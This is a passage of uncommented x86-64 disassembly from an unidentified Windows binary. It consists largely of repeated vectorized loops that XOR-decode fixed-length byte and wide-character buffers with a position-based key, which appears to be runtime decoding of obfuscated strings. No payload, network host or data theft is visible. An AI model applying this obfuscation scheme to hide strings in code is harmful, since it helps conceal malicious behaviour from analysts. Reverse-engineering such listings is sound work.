punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x14029dc90]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
jmp 0x14001db3d
mov r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x18
jl 0x14001db10
mov rdx, r10
lea rcx, [rbp + 0x1e18]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1e38]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1e58]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp - 0x25]
call fcn.14002d850
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14001de3b
mov r8d, esi
cmp r14d, 2
jl 0x14001de0f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14001de3b
mov r9, r10
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14001de12
mov rdx, r10
lea rcx, [rbp + 0x1e78]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1e98]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1e58]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1eb8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5478]
lea rcx, [rbp - 0x24]
call fcn.14002d820
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001dff0
mov r8d, esi
cmp r14d, 2
jl 0x14001dfaf
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001dec0
cmp r8d, 0x21
jge 0x14001dff0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001dfc0
mov rdx, r10
lea rcx, [rbp + 0x1ed8]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1eb8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x57c0]
lea rcx, [rbp - 0x23]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001e180
mov r8d, esi
cmp r14d, 2
jl 0x14001e13f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001e050
cmp r8d, 0x27
jge 0x14001e180
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001e150
mov rdx, r10
lea rcx, [rbp + 0x1f18]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1f38]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1ef8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1f38]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1f18]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1ed8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1e98]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1e78]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1e38]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1e18]
call fcn.1400079a0
lea rax, [rbp + 0x558]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x558]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5b18]
lea rcx, [rbp - 0x22]
call fcn.14002d900
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001e534
mov r8d, esi
cmp r14d, 2
jl 0x14001e4ea
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x14029dc90]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001e500
mov rdx, r10
lea rcx, [rbp + 0x1f58]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1f78]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1f98]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xa18]
lea rcx, [rbp - 0x21]
call fcn.14002d8d0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001e840
mov r8d, esi
cmp r14d, 2
jl 0x14001e807
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001e810
mov rdx, r10
lea rcx, [rbp + 0x1fb8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1fd8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1f98]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1ff8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5450]
lea rcx, [rbp - 0x20]
call fcn.14002d8a0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001e9f0
mov r8d, esi
cmp r14d, 2
jl 0x14001e9af
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001e8c0
cmp r8d, 0x21
jge 0x14001e9f0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001e9c0
mov rdx, r10
lea rcx, [rbp + 0x2018]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1ff8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5798]
lea rcx, [rbp - 0x1f]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001eb80
mov r8d, esi
cmp r14d, 2
jl 0x14001eb3f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ea50
cmp r8d, 0x27
jge 0x14001eb80
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001eb50
mov rdx, r10
lea rcx, [rbp + 0x2058]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2078]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2038]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
